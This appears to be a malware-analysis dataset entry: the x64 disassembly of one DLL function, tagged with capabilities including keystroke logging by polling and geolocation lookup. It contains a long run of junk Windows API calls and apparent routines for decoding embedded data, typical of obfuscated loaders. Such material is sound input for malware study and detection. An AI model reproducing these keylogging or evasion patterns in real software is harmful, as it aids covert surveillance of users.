Function at 0x18000a290
Capabilities:
Get geographical location
Log keystrokes via polling
Move file
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
movaps xmmword [rax - 0x18], xmm6
cmp edx, 1
jne 0x18000a584
lea rdi, [0x180009950]
add rdi, 0x2a2
lea rax, [0x180009e60]
add rax, 0x253
mov qword [rbp - 0x39], rax
mov dword [rbp - 0x31], 0x253
mov eax, dword [rbp - 0x1d]
mov dword [rbp - 0x2d], eax
xor esi, esi
movaps xmm6, xmmword [rbp - 0x39]
nop word [rax + rax]
cmp dword [0x1800d5678], 0xa8e636a8
jne 0x18000a4b4
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDCEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_PackDDElParam]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetMenuItemBitmaps]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadErrorMode]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetParent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsGUIThread]
call qword [sym.imp.USER32.dll_GetCursor]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryThreadpoolStackInformation]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupRead]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsImmersiveProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
xor edx, edx
lea rcx, [0x1800eccf8]
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
xor edx, edx
lea rcx, [0x1800ecd20]
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IntersectRect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddResourceAttributeAce]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadId]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
call qword [sym.imp.USER32.dll_EndMenu]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetupComm]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRecoveryCallback]
mov dword [0x1800d5678], 0x824e724a
mov qword [rbp - 0x39], rdi
mov dword [rbp - 0x31], 0x2a2
movaps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x29]
call fcn.18000ca30
xor eax, eax
mov qword [rbp - 0x19], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 9], xmm0
mov qword [rbp + 7], rsi
mov qword [rbp + 0xf], rsi
mov qword [rbp + 0x17], rsi
lea ecx, [rax + 0x10]
call fcn.180051c58
mov qword [rax + 8], rsi
mov qword [rbp - 9], rax
lea rcx, [rbp - 9]
mov qword [rax], rcx
mov word [rbp + 0x27], 0
mov qword [rbp + 0x2d], rsi
mov qword [rbp + 0x35], rsi
xor eax, eax
mov word [rbp + 0x2a], ax
mov byte [rbp + 0x2c], al
mov word [rbp + 0x2d], ax
mov byte [rbp + 0x2f], al
mov word [rbp + 0x30], ax
mov byte [rbp + 0x32], al
mov word [rbp + 0x33], ax
mov byte [rbp + 0x35], al
mov word [rbp + 0x36], ax
mov byte [rbp + 0x38], al
mov word [rbp + 0x39], ax
mov byte [rbp + 0x3b], al
mov dword [rbp - 0xd], esi
mov dword [rbp + 0x23], esi
movdqa xmmword [rbp - 0x29], xmm6
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x19]
call fcn.18000dcd0
mov ebx, dword [rbp - 0x15]
lea rcx, [rbp - 9]
call fcn.180011450
mov rcx, qword [rbp - 9]
mov qword [rbp - 9], rsi
mov edx, 0x10
call fcn.180051b6c
test ebx, ebx
je 0x18000a2f0
mov eax, 1
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret